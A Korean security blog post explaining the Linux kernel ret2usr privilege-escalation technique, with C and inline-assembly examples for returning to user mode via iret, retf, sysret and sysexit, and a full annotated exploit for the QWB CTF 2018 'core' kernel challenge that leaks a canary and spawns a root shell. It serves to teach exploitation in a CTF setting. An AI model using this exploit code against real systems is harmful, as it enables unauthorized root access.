ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

background/linux kernel

[Linux Kernel Exploit] ret2usr

2024. 4. 4. 20:24

[QWB CTF 2018] core 문제에서 ret2usr 기법이 사용되었는데

ret2usr에 대해 알아보도록 하자.

https://ssongkit.tistory.com/767

 

[QWB CTF 2018] core (with write-up)

롸업과 함께하는 첫 리눅스 커널 문제 환경 세팅 문제 파일은 여기서 받을 수 있다. https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core ctf-challenges/pwn/kernel/QWB2018-core at master · ctf-wiki/ctf-c

ssongkit.tistory.com

 


 

LPE


  • 먼저 커널에서 권한 상승(LPE)을 하기 위해선 commit_creds(prepare_kernel_cred(0));를 수행해야 한다.
  • 이 때 LPE 이후 바로 system("/bin/sh") 같은 유저단의 코드를 실행시켜버리면 환경이 맞지 않아서 커널 패닉이 발생한다.
  • 따라서 다시 유저 모드로 돌아오는 과정이 필요하다. (그래서 공격 이름이 ret2usr인 듯)
  •  64bit 환경에서 사용자 모드로 전환하려면 먼저 swapgs를 실행하고 iret, retf, sysret, sysexit 중 하나를 실행해야 한다.
struct task_struct;
struct cred;

struct cred *(*prepare_kernel_cred)(struct task_struct *daemon) =
	(void *) 0xffffffff81081716;
int (*commit_creds)(struct cred *new) =
	(void *) 0xffffffff8108157b;
    
void ret2usr(void)
{
    commit_creds(prepare_kernel_cred(NULL)); // 이 코드는 커널에서 실행됩니다.
}

 

swapgs


  • 64비트 환경에서 linux 커널은 GSBase의 값을 GS의 기준 주소로 GSBase:Offset의 형식으로 GS영역을 참조한다.
  • GS는 per-CPU라 불리는 특별한 구조체를 가리키고 있는데, 커널모드와 유저 모드는 서로 다른 per-CPU구조체를 사용한다.
  • 시스템 콜이나 인터럽트가 발생해서 커널 모드로 컨텍스트 스위칭이 일어날 때 swapgs를 실행해서 GSBase의 값을 KernelGSBase의 값과 교환한다.
  • 유저 모드로 복귀할 땐 다시 swapgs명령을 호출해서 GSBase의 값을 교환한다.
  • 따라서 LPE 이후 유저 모드로 전환하려면 GSBase값을 사용자의 GS값으로 교체해야 하므로 swapgs를 실행해야 한다.

 

iret


  • 인터럽트를 처리할 때, x86 CPU는 현재 실행 상태의 일부를 Trap Frame이라는 구조에 맞춰서 스택에 저장한다.
  • 64비트 기준으로 RIP, CS, RFLAGS, RSP, SS 레지스터 값으로 이루어진다.
  • 인터럽트 처리를 마친 후에 iret을 실행하면 CPU는 스택에 저장해둔 Trap Frame을 이용해서 원래의 실행 상태를 복구한다.
  • 스택에 적절하게 Trap Frame을 구성하고 iret을 실행하면 유저 모드로 전환이 가능하다.
  • iret의 Trap Frame 구성은 다음과 같다.
    • RIP는 유저 모드로 전환하고 실행할 코드의 주소를 지정한다.
    • RSP는 사용할 스택 포인터의 주소를 지정한다.
    • RFLAGS 레지스터는 0x202로 설정하면 된다.
    • CS와 SS는 세그먼트 레지스터로 값이 고정되어 있다. 64bit에서는 CS=0x33, SS=0x2b로 설정하면 된다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
	/* IRET에서 사용할 트랩 프레임을 정적으로 할당합니다. */
	static struct trap_frame {
		void *rip;
		uint64_t cs;               /* 실제로는 하위 16비트만 사용됨 */
		uint64_t rflags;
		void *rsp;
		uint64_t ss;               /* 실제로는 하위 16비트만 사용됨 */
	} tf = {
		.rip = &shell,             /* IRET에서 리턴할 함수 주소 */
		.cs = 0x33,                /* IRET 이후 CS 레지스터 값 */
		.rflags = 0x202,           /* IRET 이후 RFLAGS 레지스터 값 */
		.rsp = dummy_stack + 512,  /* IRET 이후 스택 포인터 */
		.ss = 0x2b                 /* IRET 이후 SS 레지스터 값 */
	};
	volatile register uint64_t RSP asm("rsp");  /* RSP 레지스터를 변수로 씁니다. */
	commit_creds(prepare_kernel_cred(0));       /* 권한을 상승시킵니다. */
	RSP = (uint64_t)&tf;                        /* 스택 포인터를 트랩 프레임에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"iretq"       /* IRET 명령을 실행합니다. */
		:: "r" (RSP)  /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
	);
}

 

retf


  • retf는 스택에 저장해둔 RIP와 CS값을 사용하며, 사용자 모드로 전환할때는 RSP와 SS값도 추가로 사용한다.
  • iret에서 사용한 Trap Frame에서 RFLAGS만 제외하면 그대로 사용할 수 있다. (Far Return Frame 이라고도 하나 봄)
  • 정리하면 Trap Frame에서 RFLAG값 빠지고 iret을 retfq로만 바꿔주면 된다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* RETF에서 사용할 Far Return 프레임을 정적으로 할당합니다. */
	static struct far_return_to_outer_ring_frame {
		void *rip;
		uint64_t cs;               /* 실제로는 하위 16비트만 사용됨 */
		void *rsp;
		uint64_t ss;               /* 실제로는 하위 16비트만 사용됨 */
	} frf = {
		.rip = &shell,             /* RETF에서 리턴할 함수 주소 */
		.cs = 0x33,                /* RETF 이후 CS 레지스터 값 */
		.rsp = dummy_stack + 512,  /* RETF 이후 스택 포인터 */
		.ss = 0x2b                 /* RETF 이후 SS 레지스터 값 */
	};
	volatile register uint64_t RSP asm("rsp");  /* RSP 레지스터를 변수로 씁니다. */
	commit_creds(prepare_kernel_cred(0));       /* 권한을 상승시킵니다. */
	RSP = (uint64_t)&frf;                       /* 스택 포인터를 Far Return 프레임에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"retfq"       /* RETF 명령을 실행합니다. */
		:: "r" (RSP)  /* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
	);
}

 

 

sysret


  • sysret은 RCX를 RIP로, R11을 RFLAGS로 복사한 후 사용자 모드로 복귀하는 명령어이다.
  • sysret의 Trap Frame 구성은 다음과 같다. 
    • RCX는 실행할 사용자 영역의 코드 주소를 지정한다.
    • RSP는 리턴 후 스택 포인터로 사용할 주소를 지정한다. RSP값은 sysret이 변경해 주지 않으므로 직접 설정해야 한다.
    • R11레지스터는 0x202로 설정한다. (iret과 동일)
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* ret2usr에서 사용자 모드로 반환한 후 shell 함수가 실행됩니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void) {
	/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
	volatile register uint64_t R11 asm("r11"), RCX asm("rcx"), RSP asm("rsp");
	commit_creds(prepare_kernel_cred(0));  /* 권한을 상승시킵니다. */
	R11 = 0x202;                           /* SYSRET 이후 RFLAGS 레지스터 값을 지정합니다. */
	RCX = (uint64_t)shell;                 /* SYSRET 이후 리턴할 함수 주소를 지정합니다. */
	RSP = (uint64_t)(dummy_stack + 512);   /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
	asm volatile(
		"cli\n\t"     /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"  /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"sysretq"     /* SYSRET 명령을 실행합니다. */
		/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
		:: "r" (R11), "r" (RCX), "r" (RSP)
	);
}

 

 

 

sysexit


  • sysexit은 RCX를 RSP로, RDX를 RIP로 복사하고 사용자 모드로 복귀하는 명령어이다.
  • sysexit의 Trap Frame 구성은 다음과 같다.
    • RCX는 사용자 모드로 전환하고 스택 포인터로 사용할 주소를 지정한다.
    • RDX는 실행할 사용자 영역의 코드 주소를 지정한다.
  • sysexit는 원래 32비트에서만 사용할 수 있지만, 32비트 호환기능이 활성화되어 있다면 64비트에서도 사용할 수 있다. (intel CPU만 가능)
  • 단, 64비트 유저 모드로 복귀 후에 SS 레지스터가 무효한 값으로 설정되기 때문에 복구해주어야 한다.
/* ret2usr 이후 스택으로 사용될 버퍼입니다. */
uint64_t dummy_stack[512] __attribute__((aligned(16)));
/* shell_thunk에서 SS 복구 후 호출되는 함수입니다. */
void shell(void) {
	system("/bin/sh");
	_exit(0);
}
/* ret2usr에서 사용자 모드로 반환한 후 shell_thunk 함수가 실행됩니다. */
__attribute__((naked)) void shell_thunk(void) {
	asm volatile(
		/* SS 레지스터를 복구합니다. */
		"mov ax, 0x2b\n\t"
		"mov ss, ax\n\t"
		/* shell 함수로 이동합니다. */
		"jmp shell"
	);
}
/* 커널 모드에서 실행되는 함수입니다. */
void ret2usr(void)
{
	/* CPU 레지스터와 1:1 대응하는 변수를 선언합니다. */
	volatile register uint64_t RCX asm("rcx"), RDX asm("rdx");
	commit_creds(prepare_kernel_cred(0));  /* 권한을 상승시킵니다. */
	RCX = (uint64_t)(dummy_stack + 512);   /* 스택 포인터를 사용자 영역의 버퍼에 위치시킵니다. */
	RDX = (uint64_t)shell_thunk;           /* SYSEXIT 이후 리턴할 함수 주소를 지정합니다. */
	asm volatile(
		"cli\n\t"        /* 인터럽트로 인한 레이스 컨디션을 방지합니다. */
		"swapgs\n\t"     /* KernelGSBase에 저장된 주소를 GSBase와 교환합니다. */
		"rex.W sysexit"  /* SYSEXIT 명령을 64비트 모드로 실행합니다. */
		/* 컴파일러가 레지스터 변수를 제거하지 않도록 합니다. */
		:: "r" (RCX), "r" (RDX)
	);
}

 

 

[QWB CTF 2018] core


먼저 해당 문제에서 사용된 익스플로잇 코드는 다음과 같다.

부분별로 나눠서 살펴보자.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

#define CORE_READ 1719109787
#define CORE_OFFSET 1719109788
#define CORE_COPY 1719109786

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

struct trap_frame{
	uint64_t user_rip;
	uint64_t user_cs;
	uint64_t user_rflags;
	uint64_t user_rsp;
	uint64_t user_ss;
}__attribute__((packed));

struct trap_frame tf;

void shell()
{
	system("/bin/sh");
}
void backup_tf(void) {
	asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
	"mov tf+32, ss;"
       	);
	tf.user_rip = &shell;
}
void *get_addr(char *name)
{
	void *addr = NULL;
	char sym[200] = { 0, };

	FILE *fp = fopen("/tmp/kallsyms", "r");

	while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
    	{
        	if(strcmp(sym, name) == 0) break;
        	else addr = NULL;
    	}

    	fclose(fp);

    	return addr;
}
void exploit()
{
	commit_creds(prepare_kernel_cred(0));
    	asm("swapgs;"
        "mov %%rsp, %0;"
        "iretq;"
        : : "r" (&tf));
}
int main(void)
{
	int fd = open("/proc/core", O_RDWR);
	prepare_kernel_cred = get_addr("prepare_kernel_cred");
    	commit_creds = get_addr("commit_creds");

	char tmp[70] = { 0, };
	char canary[8] = { 0, };
	char payload[0x70] = { 0, };

	ioctl(fd, CORE_OFFSET, 0x40);
	ioctl(fd, CORE_READ, tmp);

	memcpy(canary, tmp, 8);

	memset(payload, 'a', 0x40);
	memcpy(payload+0x40, canary, 8);
	memset(payload+0x48, 'a', 8);
	*(uint64_t *)(payload+0x50)=(uint64_t)exploit;
	backup_tf();

	write(fd, payload, 0x58);
	ioctl(fd, CORE_COPY, 0x8000000000000058);

	return 0;
}

 

 

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

LPE에 사용될 함수들의 포인터 변수를 선언했다.

 

struct trap_frame{
	uint64_t user_rip;
	uint64_t user_cs;
	uint64_t user_rflags;
	uint64_t user_rsp;
	uint64_t user_ss;
}__attribute__((packed));

struct trap_frame tf;

trap_frame 구조체를 정의하고 구조체 변수를 선언했다.

 

void shell()
{
	system("/bin/sh");
}

void backup_tf(void) {
	asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
	"mov tf+32, ss;"
       	);
	tf.user_rip = &shell;
}

shell 함수를 정의하고

trap_frame 구조체 변수 tf에 내용을 채운다.

 

rip는 shell 함수 주소를 넣고

rlafgs를 제외한 나머지 레지스터는 mov로 레지스터의 값을 복사하는 것을 확인할 수 있다.

rflags같은 경우엔 pushf 및 pop 명령을 사용해서 값을 가져온다.

 

void exploit()
{
	commit_creds(prepare_kernel_cred(0));
    	asm("swapgs;"
        "mov %%rsp, %0;"
        "iretq;"
        : : "r" (&tf));
}

LPE 및 유저 모드로 복귀하는 함수다.

 

void *get_addr(char *name)
{
	void *addr = NULL;
	char sym[200] = { 0, };

	FILE *fp = fopen("/tmp/kallsyms", "r");

	while (fscanf(fp, "%p %*c %200s\n", &addr, sym) > 0)
    	{
        	if(strcmp(sym, name) == 0) break;
        	else addr = NULL;
    	}

    	fclose(fp);

    	return addr;
}

심볼 파일에서 커널 함수의 주소를 가져오는 함수다.

 

int main(void)
{
	int fd = open("/proc/core", O_RDWR);
	prepare_kernel_cred = get_addr("prepare_kernel_cred");
    	commit_creds = get_addr("commit_creds");

	char tmp[70] = { 0, };
	char canary[8] = { 0, };
	char payload[0x70] = { 0, };

	ioctl(fd, CORE_OFFSET, 0x40);
	ioctl(fd, CORE_READ, tmp);

	memcpy(canary, tmp, 8);

	memset(payload, 'a', 0x40);
	memcpy(payload+0x40, canary, 8);
	memset(payload+0x48, 'a', 8);
	*(uint64_t *)(payload+0x50)=(uint64_t)exploit;
	backup_tf();

	write(fd, payload, 0x58);
	ioctl(fd, CORE_COPY, 0x8000000000000058);

	return 0;
}

커널 모듈의 취약점을 트리거하여 exploit 함수를 커널 단에서 수행하고

backup_tf 함수로 trap_frame을 설정한 뒤, 유저모드로 돌아와 shell 함수로 쉘을 얻어낸다.

 


 

https://kimgoon.tistory.com/69

 

[Pwn] Dreamhack - 8.Exploit Tech: ret2usr

- 리눅스 커널 익스플로잇에는 return to shellcode와 유사한 공격 기법으로 return to user(ret2usr)가 있다. - ret2usr는 사용자 메모리 영역에 있는 코드를 실행하는 공격 기법이다. - 공격자가 커널의 코드

kimgoon.tistory.com

 

 

 

 

'background > linux kernel' 카테고리의 다른 글

[Linux Kernel Exploit] ROP (with ret2usr)  (0) 2024.04.05
Kernel Address Display Restriction (KADR)  (0) 2024.04.04
Kernel Address Space Layout Randomization (KASLR)  (0) 2024.04.03
Linux Kernel Debugging (with VMware)  (1) 2024.04.03
Linux Kernel Debugging (with QEMU)  (0) 2024.04.02
    'background/linux kernel' 카테고리의 다른 글
    • [Linux Kernel Exploit] ROP (with ret2usr)
    • Kernel Address Display Restriction (KADR)
    • Kernel Address Space Layout Randomization (KASLR)
    • Linux Kernel Debugging (with VMware)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바